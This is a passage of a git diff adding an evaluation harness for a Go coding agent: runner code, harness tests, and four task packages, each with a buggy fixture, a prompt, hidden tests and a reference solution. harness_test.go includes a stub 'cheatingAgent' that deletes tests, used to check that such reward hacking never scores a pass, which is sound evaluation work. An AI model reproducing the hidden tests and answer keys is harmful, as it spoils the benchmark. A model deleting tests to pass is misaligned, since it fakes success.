fmt.Fprintf(&b, " %-*s", colWidth, m) + } + b.WriteString("\n") + for _, t := range tasks { + fmt.Fprintf(&b, "%-*s", taskWidth, t.ID) + for _, m := range models { + fmt.Fprintf(&b, " %-*s", colWidth, cell(lookup(m, t.ID))) + } + b.WriteString("\n") + } + fmt.Fprintf(&b, "%-*s", taskWidth, "pass rate") + for _, m := range models { + s := Summarize(m, byModel[m]) + pct := 0.0 + if s.Total > 0 { + pct = float64(s.Passed) / float64(s.Total) * 100 + } + fmt.Fprintf(&b, " %-*s", colWidth, fmt.Sprintf("%d/%d (%.0f%%)", s.Passed, s.Total, pct)) + } + b.WriteString("\n") + fmt.Fprintf(&b, "%-*s", taskWidth, "tokens") + for _, m := range models { + s := Summarize(m, byModel[m]) + fmt.Fprintf(&b, " %-*s", colWidth, fmt.Sprintf("%s in / %s out", human(s.InputTokens), human(s.OutputTokens))) + } + b.WriteString("\n") + fmt.Fprintf(&b, "%-*s", taskWidth, "est. cost") + for _, m := range models { + s := Summarize(m, byModel[m]) + if s.Unpriced { + fmt.Fprintf(&b, " %-*s", colWidth, "n/a (no price data)") + } else { + fmt.Fprintf(&b, " %-*s", colWidth, fmt.Sprintf("$%.2f", s.CostUSD)) + } + } + b.WriteString("\n") + if hasErrors(byModel) { + b.WriteString("! = the agent run itself failed (timeout or crash); see the results file for details\n") + } + return b.String() +} + +func hasErrors(byModel map[string][]Result) bool { + for _, rs := range byModel { + for _, r := range rs { + if r.Error != "" { + return true + } + } + } + return false +} + +func human(n int) string { + switch { + case n >= 1_000_000: + return fmt.Sprintf("%.1fM", float64(n)/1_000_000) + case n >= 1_000: + return fmt.Sprintf("%.0fk", float64(n)/1_000) + default: + return fmt.Sprint(n) + } +} + +// RunFile is what gets written to evals/results. +type RunFile struct { + GocodeVersion string `json:"gocode_version"` + Model string `json:"model"` + StartedAt time.Time `json:"started_at"` + Summary Summary `json:"summary"` + Results []Result `json:"results"` +} diff --git a/evals/runner/harness_test.go b/evals/runner/harness_test.go new file mode 100644 index 0000000..b98487f --- /dev/null +++ b/evals/runner/harness_test.go @@ -0,0 +1,213 @@ +package main + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" +) + +// solutionAgent applies the task's reference solution: what a perfect agent +// would produce. It proves each task is solvable and its hidden tests are +// correct, without spending a token. +type solutionAgent struct{ taskDir string } + +func (a solutionAgent) Run(_ context.Context, workdir, _ string) (Usage, error) { + return Usage{InputTokens: 100, OutputTokens: 10}, copyTree(filepath.Join(a.taskDir, "_solution"), workdir, nil) +} + +// noopAgent changes nothing: the untouched fixture must fail, or the task +// cannot tell a working agent from a broken one. +type noopAgent struct{} + +func (noopAgent) Run(context.Context, string, string) (Usage, error) { return Usage{}, nil } + +// cheatingAgent deletes every test and, if the task ships one, replaces the +// implementation with something that would only pass a weakened test. +type cheatingAgent struct{} + +func (cheatingAgent) Run(_ context.Context, workdir, _ string) (Usage, error) { + return Usage{}, filepath.WalkDir(workdir, func(p string, d os.DirEntry, err error) error { + if err == nil && !d.IsDir() && strings.HasSuffix(p, "_test.go") { + return os.Remove(p) + } + return err + }) +} + +func tasksRoot(t *testing.T) string { + t.Helper() + root, err := filepath.Abs(filepath.Join("..", "tasks")) + if err != nil { + t.Fatal(err) + } + return root +} + +func TestEveryTaskIsSolvableAndDiscriminating(t *testing.T) { + if testing.Short() { + t.Skip("compiles every fixture twice; skipped under -short") + } + tasks, err := LoadTasks(tasksRoot(t)) + if err != nil { + t.Fatal(err) + } + if len(tasks) < 10 { + t.Fatalf("only %d tasks; the suite needs at least 10 to say anything", len(tasks)) + } + // Each task compiles its fixture twice via a nested `go test`, which uses + // every core. Running them in parallel starved the rest of the module's + // suite on a loaded machine (the hooks tests spawn shells under a 5s + // deadline and timed out), so the tasks run one at a time. The fixtures + // are tiny; the whole loop is around fifteen seconds on a warm cache. + for _, task := range tasks { + task := task + t.Run(task.ID, func(t *testing.T) { + if !dirExists(filepath.Join(task.Dir, "_solution")) { + t.Fatal("task has no _solution directory; it cannot be validated") + } + if !dirExists(filepath.Join(task.Dir, "_hidden")) { + t.Fatal("task has no _hidden tests; a visible-only task can be passed by editing the test") + } + + solved := RunTask(context.Background(), task, "test-model", solutionAgent{task.Dir}, false) + if !solved.Passed { + t.Errorf("reference solution fails:\n%s\n%s", solved.Error, solved.TestOutput) + } + if solved.InputTokens != 100 || solved.OutputTokens != 10 { + t.Errorf("usage not recorded: %+v", solved) + } + + unsolved := RunTask(context.Background(), task, "test-model", noopAgent{}, false) + if unsolved.Passed { + t.Error("untouched fixture passes: the task does not test anything") + } + if unsolved.Error != "" { + t.Errorf("a failing fixture is a score, not a harness error: %s", unsolved.Error) + } + }) + } +} + +func TestDeletingTestsDoesNotPass(t *testing.T) { + if testing.Short() { + t.Skip("compiles a fixture; skipped under -short") + } + tasks, err := LoadTasks(tasksRoot(t)) + if err != nil { + t.Fatal(err) + } + // One task is enough: the restore-and-hide step is task-independent. + res := RunTask(context.Background(), tasks[0], "test-model", cheatingAgent{}, false) + if res.Passed { + t.Fatal("an agent that deletes the tests must not score a pass") + } + if res.Error != "" { + t.Errorf("unexpected harness error: %s", res.Error) + } +} + +func TestLoadTasksRejectsBrokenTaskDirs(t *testing.T) { + root := t.TempDir() + write := func(rel, body string) { + p := filepath.Join(root, rel) + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + } + write("ok/task.json", `{"prompt":"do it","timeout_seconds":7,"test_args":["-race"]}`) + write("ok/fixture/go.mod", "module x\n\ngo 1.21\n") + write("_ignored/task.json", `{"prompt":"hidden helper dir"}`) + tasks, err := LoadTasks(root) + if err != nil { + t.Fatal(err) + } + if len(tasks) != 1 || tasks[0].ID != "ok" || tasks[0].Timeout != 7 || len(tasks[0].TestArgs) != 1 { + t.Errorf("tasks = %+v", tasks) + } + + write("noprompt/task.json", `{}`) + write("noprompt/fixture/go.mod", "module y\n") + if _, err := LoadTasks(root); err == nil || !strings.Contains(err.Error(), "no prompt") { + t.Errorf("missing prompt should be rejected, got %v", err) + } + if err := os.RemoveAll(filepath.Join(root, "noprompt")); err != nil { + t.Fatal(err) + } + + write("nomod/task.json", `{"prompt":"x"}`) + if _, err := LoadTasks(root); err == nil || !strings.Contains(err.Error(), "go.mod") { + t.Errorf("fixture without go.mod should be rejected, got %v", err) + } +} + +func TestParseUsageFindsTheEnvelopeAfterLogNoise(t *testing.T) { + out := []byte("[skills] loaded 3\nsome log line\n{\n \"result\": \"done\",\n \"usage\": {\"input_tokens\": 1234, \"output_tokens\": 56, \"total_cost\": 0.01}\n}\n") + u, err := parseUsage(out) + if err != nil || u.InputTokens != 1234 || u.OutputTokens != 56 { + t.Errorf("usage = %+v, %v", u, err) + } + if u, err := parseUsage([]byte(`{"usage":{"input_tokens":1,"output_tokens":2}}`)); err != nil || u.InputTokens != 1 { + t.Errorf("bare object: %+v %v", u, err) + } + if _, err := parseUsage([]byte("no json here")); err == nil { + t.Error("missing envelope must be an error so a crashed agent is not recorded as free") + } +} + +func TestRenderTableAndSummary(t *testing.T) { + tasks := []Task{{ID: "01-a"}, {ID: "02-b"}} + byModel := map[string][]Result{ + "claude-sonnet-4-6": { + {Task: "01-a", Passed: true, Duration: 12, InputTokens: 10_000, OutputTokens: 1_000, CostUSD: 0.045}, + {Task: "02-b", Passed: false, Duration: 30, InputTokens: 20_000, OutputTokens: 2_000, CostUSD: 0.09, Error: "agent timed out"}, + }, + "my-finetune": { + {Task: "01-a", Passed: true, Duration: 5}, + {Task: "02-b", Passed: true, Duration: 6}, + }, + } + out := RenderTable("v0.9.0", tasks, byModel) + + for _, want := range []string{ + "gocode v0.9.0 — 2 tasks", + "claude-sonnet-4-6", "my-finetune", + "1/2 (50%)", "2/2 (100%)", + "30k in / 3k out", + "$0.14", + "n/a (no price data)", + "✗ 30s $0.090 !", + "! = the agent run itself failed", + } { + if !strings.Contains(out, want) { + t.Errorf("table missing %q:\n%s", want, out) + } + } + + s := Summarize("claude-sonnet-4-6", byModel["claude-sonnet-4-6"]) + if s.Passed != 1 || s.Total != 2 || s.InputTokens != 30_000 || s.Unpriced { + t.Errorf("summary = %+v", s) + } + if s := Summarize("my-finetune", nil); !s.Unpriced || s.Total != 0 { + t.Errorf("unpriced summary = %+v", s) + } +} + +func TestRunTaskRecordsCostFromPricingTable(t *testing.T) { + if testing.Short() { + t.Skip("compiles a fixture; skipped under -short") + } + tasks, err := LoadTasks(tasksRoot(t)) + if err != nil { + t.Fatal(err) + } + res := RunTask(context.Background(), tasks[0], "claude-sonnet-4-6", solutionAgent{tasks[0].Dir}, false) + // 100 in at $3/M + 10 out at $15/M. + if want := (100*3.0 + 10*15.0) / 1_000_000; res.CostUSD < want-1e-12 || res.CostUSD > want+1e-12 { + t.Errorf("cost = %v, want %v", res.CostUSD, want) + } +} diff --git a/evals/runner/main.go b/evals/runner/main.go new file mode 100644 index 0000000..761d858 --- /dev/null +++ b/evals/runner/main.go @@ -0,0 +1,204 @@ +package main + +import ( + "context" + "encoding/json" + "flag" + "fmt" + "os" + "os/exec" + "os/signal" + "path/filepath" + "strings" + "sync" + "time" +) + +func main() { + var models multiFlag + flag.Var(&models, "model", "model to evaluate (repeatable)") + binary := flag.String("gocode", "", "gocode binary to run; default builds ./cmd/gocode from this checkout") + tasksDir := flag.String("tasks", "", "tasks directory; default evals/tasks in this checkout") + only := flag.String("only", "", "comma-separated task ids to run (default all)") + parallel := flag.Int("parallel", 1, "tasks to run at once per model") + maxTurns := flag.Int("max-turns", 40, "agent loop iterations per task") + outDir := flag.String("out", "", "results directory; default evals/results in this checkout") + keep := flag.Bool("keep", false, "keep scratch directories for inspection") + flag.Parse() + + if len(models) == 0 { + fmt.Fprintln(os.Stderr, "usage: go run ./evals/runner -model [-model ...]") + fmt.Fprintln(os.Stderr, "This spends tokens: roughly 13 agent runs per model, each a small Go task.") + os.Exit(2) + } + + root, err := moduleRoot() + if err != nil { + fatal("finding module root (run from inside the gocode checkout): %v", err) + } + if *tasksDir == "" { + *tasksDir = filepath.Join(root, "evals", "tasks") + } + if *outDir == "" { + *outDir = filepath.Join(root, "evals", "results") + } + + ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) + defer stop() + + if *binary == "" { + *binary, err = buildGocode(ctx, root) + if err != nil { + fatal("building gocode: %v", err) + } + defer os.RemoveAll(filepath.Dir(*binary)) + } + version := gocodeVersion(ctx, *binary) + + tasks, err := LoadTasks(*tasksDir) + if err != nil { + fatal("loading tasks: %v", err) + } + tasks = filterTasks(tasks, *only) + if len(tasks) == 0 { + fatal("no tasks selected") + } + + fmt.Fprintf(os.Stderr, "gocode %s, %d tasks, %d model(s), parallel=%d\n", version, len(tasks), len(models), *parallel) + byModel := map[string][]Result{} + for _, model := range models { + started := time.Now().UTC() + results := runAll(withModel(ctx, model), tasks, model, GocodeAgent{Binary: *binary, MaxTurns: *maxTurns}, *parallel, *keep) + byModel[model] = results + if err := writeRun(*outDir, RunFile{GocodeVersion: version, Model: model, StartedAt: started, Summary: Summarize(model, results), Results: results}); err != nil { + fmt.Fprintf(os.Stderr, "warning: could not write results: %v\n", err) + } + if ctx.Err() != nil { + break + } + } + fmt.Print(RenderTable(version, tasks, byModel)) +} + +func runAll(ctx context.Context, tasks []Task, model string, agent Agent, parallel int, keep bool) []Result { + if parallel < 1 { + parallel = 1 + } + results := make([]Result, len(tasks)) + sem := make(chan struct{}, parallel) + var wg sync.WaitGroup + for i, t := range tasks { + if ctx.Err() != nil { + results[i] = Result{Task: t.ID, Model: model, Error: "interrupted"} + continue + } + wg.Add(1) + sem <- struct{}{} + go func(i int, t Task) { + defer wg.Done() + defer func() { <-sem }() + fmt.Fprintf(os.Stderr, "[%s] %s: running\n", model, t.ID) + results[i] = RunTask(ctx, t, model, agent, keep) + mark := "FAIL" + if results[i].Passed { + mark = "pass" + } + fmt.Fprintf(os.Stderr, "[%s] %s: %s (%.0fs)\n", model, t.ID, mark, results[i].Duration) + }(i, t) + } + wg.Wait() + return results +} + +func writeRun(dir string, run RunFile) error { + if err := os.MkdirAll(dir, 0o755); err != nil { + return err + } + name := fmt.Sprintf("%s_%s.json", run.StartedAt.Format("20060102-150405"), sanitize(run.Model)) + data, err := json.MarshalIndent(run, "", " ") + if err != nil { + return err + } + path := filepath.Join(dir, name) + if err := os.WriteFile(path, data, 0o644); err != nil { + return err + } + fmt.Fprintf(os.Stderr, "results written to %s\n", path) + return nil +} + +func sanitize(s string) string { + return strings.Map(func(r rune) rune { + if r >= 'a' && r <= 'z' || r >= 'A' && r <= 'Z' || r >= '0' && r <= '9' || r == '-' || r == '.' { + return r + } + return '_' + }, s) +} + +func moduleRoot() (string, error) { + out, err := exec.Command("go", "env", "GOMOD").Output() + if err != nil { + return "", err + } + gomod := strings.TrimSpace(string(out)) + if gomod == "" || gomod == os.DevNull { + return "", fmt.Errorf("not inside a Go module") + } + return filepath.Dir(gomod), nil +} + +func buildGocode(ctx context.Context, root string) (string, error) { + dir, err := os.MkdirTemp("", "gocode-eval-bin-") + if err != nil { + return "", err + } + bin := filepath.Join(dir, "gocode") + cmd := exec.CommandContext(ctx, "go", "build", "-o", bin, "./cmd/gocode") + cmd.Dir = root + cmd.Stderr = os.Stderr + if err := cmd.Run(); err != nil { + os.RemoveAll(dir) + return "", err + } + return bin, nil +} + +func gocodeVersion(ctx context.Context, bin string) string { + out, err := exec.CommandContext(ctx, bin, "--version").Output() + if err != nil { + return "unknown" + } + fields := strings.Fields(string(out)) + if len(fields) == 0 { + return "unknown" + } + return fields[len(fields)-1] +} + +func filterTasks(tasks []Task, only string) []Task { + if strings.TrimSpace(only) == "" { + return tasks + } + want := map[string]bool{} + for _, id := range strings.Split(only, ",") { + want[strings.TrimSpace(id)] = true + } + var out []Task + for _, t := range tasks { + if want[t.ID] { + out = append(out, t) + } + } + return out +} + +type multiFlag []string + +func (m *multiFlag) String() string { return strings.Join(*m, ",") } +func (m *multiFlag) Set(v string) error { *m = append(*m, v); return nil } + +func fatal(format string, args ...any) { + fmt.Fprintf(os.Stderr, format+"\n", args...) + os.Exit(1) +} diff --git a/evals/tasks/01-off-by-one/_hidden/stats_hidden_test.go b/evals/tasks/01-off-by-one/_hidden/stats_hidden_test.go new file mode 100644 index 0000000..461a845 --- /dev/null +++ b/evals/tasks/01-off-by-one/_hidden/stats_hidden_test.go @@ -0,0 +1,30 @@ +package stats + +import "testing" + +func TestSum(t *testing.T) { + cases := []struct { + in []int + want int + }{ + {nil, 0}, + {[]int{}, 0}, + {[]int{5}, 5}, + {[]int{1, 2, 3}, 6}, + {[]int{-1, 1, 10}, 10}, + } + for _, c := range cases { + if got := Sum(c.in); got != c.want { + t.Errorf("Sum(%v) = %d, want %d", c.in, got, c.want) + } + } +} + +func TestMean(t *testing.T) { + if got := Mean([]int{2, 4}); got != 3 { + t.Errorf("Mean = %v, want 3", got) + } + if got := Mean(nil); got != 0 { + t.Errorf("Mean(nil) = %v, want 0", got) + } +} diff --git a/evals/tasks/01-off-by-one/_solution/stats.go b/evals/tasks/01-off-by-one/_solution/stats.go new file mode 100644 index 0000000..4bd5977 --- /dev/null +++ b/evals/tasks/01-off-by-one/_solution/stats.go @@ -0,0 +1,19 @@ +// Package stats has small numeric helpers. +package stats + +// Sum returns the total of nums. An empty or nil slice sums to 0. +func Sum(nums []int) int { + total := 0 + for _, n := range nums { + total += n + } + return total +} + +// Mean returns the arithmetic mean of nums, or 0 for an empty slice. +func Mean(nums []int) float64 { + if len(nums) == 0 { + return 0 + } + return float64(Sum(nums)) / float64(len(nums)) +} diff --git a/evals/tasks/01-off-by-one/fixture/go.mod b/evals/tasks/01-off-by-one/fixture/go.mod new file mode 100644 index 0000000..f525bfa --- /dev/null +++ b/evals/tasks/01-off-by-one/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/stats + +go 1.21 diff --git a/evals/tasks/01-off-by-one/fixture/stats.go b/evals/tasks/01-off-by-one/fixture/stats.go new file mode 100644 index 0000000..ffd4c3b --- /dev/null +++ b/evals/tasks/01-off-by-one/fixture/stats.go @@ -0,0 +1,19 @@ +// Package stats has small numeric helpers. +package stats + +// Sum returns the total of nums. An empty or nil slice sums to 0. +func Sum(nums []int) int { + total := 0 + for i := 0; i < len(nums)-1; i++ { + total += nums[i] + } + return total +} + +// Mean returns the arithmetic mean of nums, or 0 for an empty slice. +func Mean(nums []int) float64 { + if len(nums) == 0 { + return 0 + } + return float64(Sum(nums)) / float64(len(nums)) +} diff --git a/evals/tasks/01-off-by-one/task.json b/evals/tasks/01-off-by-one/task.json new file mode 100644 index 0000000..406c84a --- /dev/null +++ b/evals/tasks/01-off-by-one/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "Sum in stats.go returns the wrong total for non-empty slices. Find and fix the bug. Do not change the function signature." +} diff --git a/evals/tasks/02-unicode-reverse/_hidden/reverse_hidden_test.go b/evals/tasks/02-unicode-reverse/_hidden/reverse_hidden_test.go new file mode 100644 index 0000000..7f1eeea --- /dev/null +++ b/evals/tasks/02-unicode-reverse/_hidden/reverse_hidden_test.go @@ -0,0 +1,26 @@ +package text + +import "testing" + +func TestReverseUnicode(t *testing.T) { + cases := map[string]string{ + "héllo": "olléh", + "日本語": "語本日", + "a😀b": "b😀a", + "abc": "cba", + "x": "x", + } + for in, want := range cases { + if got := Reverse(in); got != want { + t.Errorf("Reverse(%q) = %q, want %q", in, got, want) + } + } +} + +func TestReverseIsAnInvolution(t *testing.T) { + for _, s := range []string{"héllo wörld", "日本語テキスト", "plain"} { + if got := Reverse(Reverse(s)); got != s { + t.Errorf("Reverse(Reverse(%q)) = %q", s, got) + } + } +} diff --git a/evals/tasks/02-unicode-reverse/_solution/reverse.go b/evals/tasks/02-unicode-reverse/_solution/reverse.go new file mode 100644 index 0000000..fe27f22 --- /dev/null +++ b/evals/tasks/02-unicode-reverse/_solution/reverse.go @@ -0,0 +1,11 @@ +// Package text has string helpers. +package text + +// Reverse returns s with its characters in reverse order. +func Reverse(s string) string { + r := []rune(s) + for i, j := 0, len(r)-1; i < j; i, j = i+1, j-1 { + r[i], r[j] = r[j], r[i] + } + return string(r) +} diff --git a/evals/tasks/02-unicode-reverse/fixture/go.mod b/evals/tasks/02-unicode-reverse/fixture/go.mod new file mode 100644 index 0000000..fed80aa --- /dev/null +++ b/evals/tasks/02-unicode-reverse/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/text + +go 1.21 diff --git a/evals/tasks/02-unicode-reverse/fixture/reverse.go b/evals/tasks/02-unicode-reverse/fixture/reverse.go new file mode 100644 index 0000000..b78dc2f --- /dev/null +++ b/evals/tasks/02-unicode-reverse/fixture/reverse.go @@ -0,0 +1,11 @@ +// Package text has string helpers. +package text + +// Reverse returns s with its characters in reverse order. +func Reverse(s string) string { + b := []byte(s) + for i, j := 0, len(b)-1; i < j; i, j = i+1, j-1 { + b[i], b[j] = b[j], b[i] + } + return string(b) +} diff --git a/evals/tasks/02-unicode-reverse/fixture/reverse_test.go b/evals/tasks/02-unicode-reverse/fixture/reverse_test.go new file mode 100644 index 0000000..f55397f --- /dev/null +++ b/evals/tasks/02-unicode-reverse/fixture/reverse_test.go @@ -0,0 +1,12 @@ +package text + +import "testing" + +func TestReverseASCII(t *testing.T) { + if got := Reverse("hello"); got != "olleh" { + t.Errorf("Reverse(hello) = %q", got) + } + if got := Reverse(""); got != "" { + t.Errorf("Reverse(\"\") = %q", got) + } +} diff --git a/evals/tasks/02-unicode-reverse/task.json b/evals/tasks/02-unicode-reverse/task.json new file mode 100644 index 0000000..be88d8c --- /dev/null +++ b/evals/tasks/02-unicode-reverse/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "Reverse in reverse.go mangles non-ASCII strings such as \"héllo\" and \"日本語\". Make it reverse by Unicode code point (rune) rather than by byte. The existing test must keep passing; do not edit or delete tests." +} diff --git a/evals/tasks/03-rename-across-files/_hidden/rename_hidden_test.go b/evals/tasks/03-rename-across-files/_hidden/rename_hidden_test.go new file mode 100644 index 0000000..25549a0 --- /dev/null +++ b/evals/tasks/03-rename-across-files/_hidden/rename_hidden_test.go @@ -0,0 +1,23 @@ +package calc + +import "testing" + +func TestRenamedTypeAndConstructor(t *testing.T) { + var c *Calculator = NewCalculator() + c.Add(2).Add(3) + if c.Total() != 5 { + t.Errorf("Total = %d, want 5", c.Total()) + } +} + +func TestCallersStillWork(t *testing.T) { + if got := SumAll(1, 2, 3); got != 6 { + t.Errorf("SumAll = %d", got) + } + if got := Apply(func(c *Calculator) { c.Add(10) }); got != 10 { + t.Errorf("Apply = %d", got) + } + if got := Report(NewCalculator().Add(7)); got != "total=7" { + t.Errorf("Report = %q", got) + } +} diff --git a/evals/tasks/03-rename-across-files/_solution/calc.go b/evals/tasks/03-rename-across-files/_solution/calc.go new file mode 100644 index 0000000..d52f274 --- /dev/null +++ b/evals/tasks/03-rename-across-files/_solution/calc.go @@ -0,0 +1,23 @@ +// Package calc is a tiny accumulator. +package calc + +// Calculator accumulates a running total. +type Calculator struct { + total int +} + +// NewCalculator returns a Calculator starting at zero. +func NewCalculator() *Calculator { + return &Calculator{} +} + +// Add adds n to the running total and returns the receiver for chaining. +func (c *Calculator) Add(n int) *Calculator { + c.total += n + return c +} + +// Total returns the running total. +func (c *Calculator) Total() int { + return c.total +} diff --git a/evals/tasks/03-rename-across-files/_solution/ops.go b/evals/tasks/03-rename-across-files/_solution/ops.go new file mode 100644 index 0000000..a2a7239 --- /dev/null +++ b/evals/tasks/03-rename-across-files/_solution/ops.go @@ -0,0 +1,17 @@ +package calc + +// SumAll returns the total of nums using a Calculator. +func SumAll(nums ...int) int { + c := NewCalculator() + for _, n := range nums { + c.Add(n) + } + return c.Total() +} + +// Apply runs fn against a fresh Calculator and returns the total. +func Apply(fn func(*Calculator)) int { + c := NewCalculator() + fn(c) + return c.Total() +} diff --git a/evals/tasks/03-rename-across-files/_solution/report.go b/evals/tasks/03-rename-across-files/_solution/report.go new file mode 100644 index 0000000..3aa0040 --- /dev/null +++ b/evals/tasks/03-rename-across-files/_solution/report.go @@ -0,0 +1,8 @@ +package calc + +import "fmt" + +// Report describes the state of a Calculator. +func Report(c *Calculator) string { + return fmt.Sprintf("total=%d", c.Total()) +} diff --git a/evals/tasks/03-rename-across-files/fixture/calc.go b/evals/tasks/03-rename-across-files/fixture/calc.go new file mode 100644 index 0000000..c4864d5 --- /dev/null +++ b/evals/tasks/03-rename-across-files/fixture/calc.go @@ -0,0 +1,23 @@ +// Package calc is a tiny accumulator. +package calc + +// Calc accumulates a running total. +type Calc struct { + total int +} + +// NewCalc returns a Calc starting at zero. +func NewCalc() *Calc { + return &Calc{} +} + +// Add adds n to the running total and returns the receiver for chaining. +func (c *Calc) Add(n int) *Calc { + c.total += n + return c +} + +// Total returns the running total. +func (c *Calc) Total() int { + return c.total +} diff --git a/evals/tasks/03-rename-across-files/fixture/go.mod b/evals/tasks/03-rename-across-files/fixture/go.mod new file mode 100644 index 0000000..ebf6731 --- /dev/null +++ b/evals/tasks/03-rename-across-files/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/calc + +go 1.21 diff --git a/evals/tasks/03-rename-across-files/fixture/ops.go b/evals/tasks/03-rename-across-files/fixture/ops.go new file mode 100644 index 0000000..f169bf9 --- /dev/null +++ b/evals/tasks/03-rename-across-files/fixture/ops.go @@ -0,0 +1,17 @@ +package calc + +// SumAll returns the total of nums using a Calc. +func SumAll(nums ...int) int { + c := NewCalc() + for _, n := range nums { + c.Add(n) + } + return c.Total() +} + +// Apply runs fn against a fresh Calc and returns the total. +func Apply(fn func(*Calc)) int { + c := NewCalc() + fn(c) + return c.Total() +} diff --git a/evals/tasks/03-rename-across-files/fixture/report.go b/evals/tasks/03-rename-across-files/fixture/report.go new file mode 100644 index 0000000..642281c --- /dev/null +++ b/evals/tasks/03-rename-across-files/fixture/report.go @@ -0,0 +1,8 @@ +package calc + +import "fmt" + +// Report describes the state of a Calc. +func Report(c *Calc) string { + return fmt.Sprintf("total=%d", c.Total()) +} diff --git a/evals/tasks/03-rename-across-files/task.json b/evals/tasks/03-rename-across-files/task.json new file mode 100644 index 0000000..65efd4e --- /dev/null +++ b/evals/tasks/03-rename-across-files/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "Rename the type Calc to Calculator everywhere in this module, including its constructor NewCalc, which becomes NewCalculator. Every reference in every file must be updated so the module still compiles. Behaviour must not change." +} diff --git a/evals/tasks/04-implement-interface/_hidden/memstore_hidden_test.go b/evals/tasks/04-implement-interface/_hidden/memstore_hidden_test.go new file mode 100644 index 0000000..b933b7d --- /dev/null +++ b/evals/tasks/04-implement-interface/_hidden/memstore_hidden_test.go @@ -0,0 +1,54 @@ +package kv + +import ( + "errors" + "reflect" + "testing" +) + +func TestMemStoreRoundTrip(t *testing.T) { + var s Store = NewMemStore() + if _, err := s.Get("a"); !errors.Is(err, ErrNotFound) { + t.Fatalf("Get on empty = %v, want ErrNotFound", err) + } + if err := s.Set("a", "1"); err != nil { + t.Fatal(err) + } + if err := s.Set("b", "2"); err != nil { + t.Fatal(err) + } + if err := s.Set("a", "one"); err != nil { + t.Fatal(err) + } + if v, err := s.Get("a"); err != nil || v != "one" { + t.Errorf("Get(a) = %q, %v; want one (Set must replace)", v, err) + } + if v, err := s.Get("b"); err != nil || v != "2" { + t.Errorf("Get(b) = %q, %v", v, err) + } +} + +func TestMemStoreDeleteAndKeys(t *testing.T) { + s := NewMemStore() + for _, k := range []string{"zeta", "alpha", "mid"} { + _ = s.Set(k, k) + } + if got := s.Keys(); !reflect.DeepEqual(got, []string{"alpha", "mid", "zeta"}) { + t.Errorf("Keys = %v, want sorted", got) + } + if err := s.Delete("mid"); err != nil { + t.Errorf("Delete existing = %v", err) + } + if err := s.Delete("mid"); !errors.Is(err, ErrNotFound) { + t.Errorf("Delete missing = %v, want ErrNotFound", err) + } + if _, err := s.Get("mid"); !errors.Is(err, ErrNotFound) { + t.Errorf("Get after delete = %v, want ErrNotFound", err) + } + if got := s.Keys(); !reflect.DeepEqual(got, []string{"alpha", "zeta"}) { + t.Errorf("Keys after delete = %v", got) + } + if got := NewMemStore().Keys(); len(got) != 0 { + t.Errorf("Keys on empty = %v", got) + } +} diff --git a/evals/tasks/04-implement-interface/_solution/memstore.go b/evals/tasks/04-implement-interface/_solution/memstore.go new file mode 100644 index 0000000..b904fd5 --- /dev/null +++ b/evals/tasks/04-implement-interface/_solution/memstore.go @@ -0,0 +1,45 @@ +package kv + +import "sort" + +// MemStore is an in-memory Store. +type MemStore struct { + data map[string]string +} + +// NewMemStore returns an empty MemStore. +func NewMemStore() *MemStore { + return &MemStore{data: make(map[string]string)} +} + +func (m *MemStore) Get(key string) (string, error) { + v, ok := m.data[key] + if !ok { + return "", ErrNotFound + } + return v, nil +} + +func (m *MemStore) Set(key, value string) error { + m.data[key] = value + return nil +} + +func (m *MemStore) Delete(key string) error { + if _, ok := m.data[key]; !ok { + return ErrNotFound + } + delete(m.data, key) + return nil +} + +func (m *MemStore) Keys() []string { + keys := make([]string, 0, len(m.data)) + for k := range m.data { + keys = append(keys, k) + } + sort.Strings(keys) + return keys +} + +var _ Store = (*MemStore)(nil) diff --git a/evals/tasks/04-implement-interface/fixture/go.mod b/evals/tasks/04-implement-interface/fixture/go.mod new file mode 100644 index 0000000..6a4d78a --- /dev/null +++ b/evals/tasks/04-implement-interface/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/kv + +go 1.21 diff --git a/evals/tasks/04-implement-interface/fixture/memstore.go b/evals/tasks/04-implement-interface/fixture/memstore.go new file mode 100644 index 0000000..8344a67 --- /dev/null +++ b/evals/tasks/04-implement-interface/fixture/memstore.go @@ -0,0 +1,16 @@ +package kv + +// MemStore is an in-memory Store. +type MemStore struct{} + +// NewMemStore returns an empty MemStore. +func NewMemStore() *MemStore { + return &MemStore{} +} + +func (m *MemStore) Get(key string) (string, error) { return "", ErrNotImplemented } +func (m *MemStore) Set(key, value string) error { return ErrNotImplemented } +func (m *MemStore) Delete(key string) error { return ErrNotImplemented } +func (m *MemStore) Keys() []string { return nil } + +var _ Store = (*MemStore)(nil) diff --git a/evals/tasks/04-implement-interface/fixture/store.go b/evals/tasks/04-implement-interface/fixture/store.go new file mode 100644 index 0000000..566991d --- /dev/null +++ b/evals/tasks/04-implement-interface/fixture/store.go @@ -0,0 +1,22 @@ +// Package kv defines a small key/value store. +package kv + +import "errors" + +// ErrNotFound is returned when a key does not exist. +var ErrNotFound = errors.New("kv: key not found") + +// ErrNotImplemented marks stubbed methods. +var ErrNotImplemented = errors.New("kv: not implemented") + +// Store is a string key/value store. +type Store interface { + // Get returns the value for key, or ErrNotFound. + Get(key string) (string, error) + // Set stores value under key, replacing any existing value. + Set(key, value string) error + // Delete removes key. It returns ErrNotFound if the key was absent. + Delete(key string) error + // Keys returns every stored key in sorted order. + Keys() []string +} diff --git a/evals/tasks/04-implement-interface/task.json b/evals/tasks/04-implement-interface/task.json new file mode 100644 index 0000000..17e08b7 --- /dev/null +++ b/evals/tasks/04-implement-interface/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "MemStore in memstore.go is a stub: every method returns ErrNotImplemented. Implement it as an in-memory key/value store that satisfies the Store interface in store.go. Get must return ErrNotFound for a missing key, Delete must return ErrNotFound when nothing was deleted, and Keys must return the keys sorted." +} diff --git a/evals/tasks/05-email-validation/_hidden/email_hidden_test.go b/evals/tasks/05-email-validation/_hidden/email_hidden_test.go new file mode 100644 index 0000000..642fbfc --- /dev/null +++ b/evals/tasks/05-email-validation/_hidden/email_hidden_test.go @@ -0,0 +1,32 @@ +package email + +import ( + 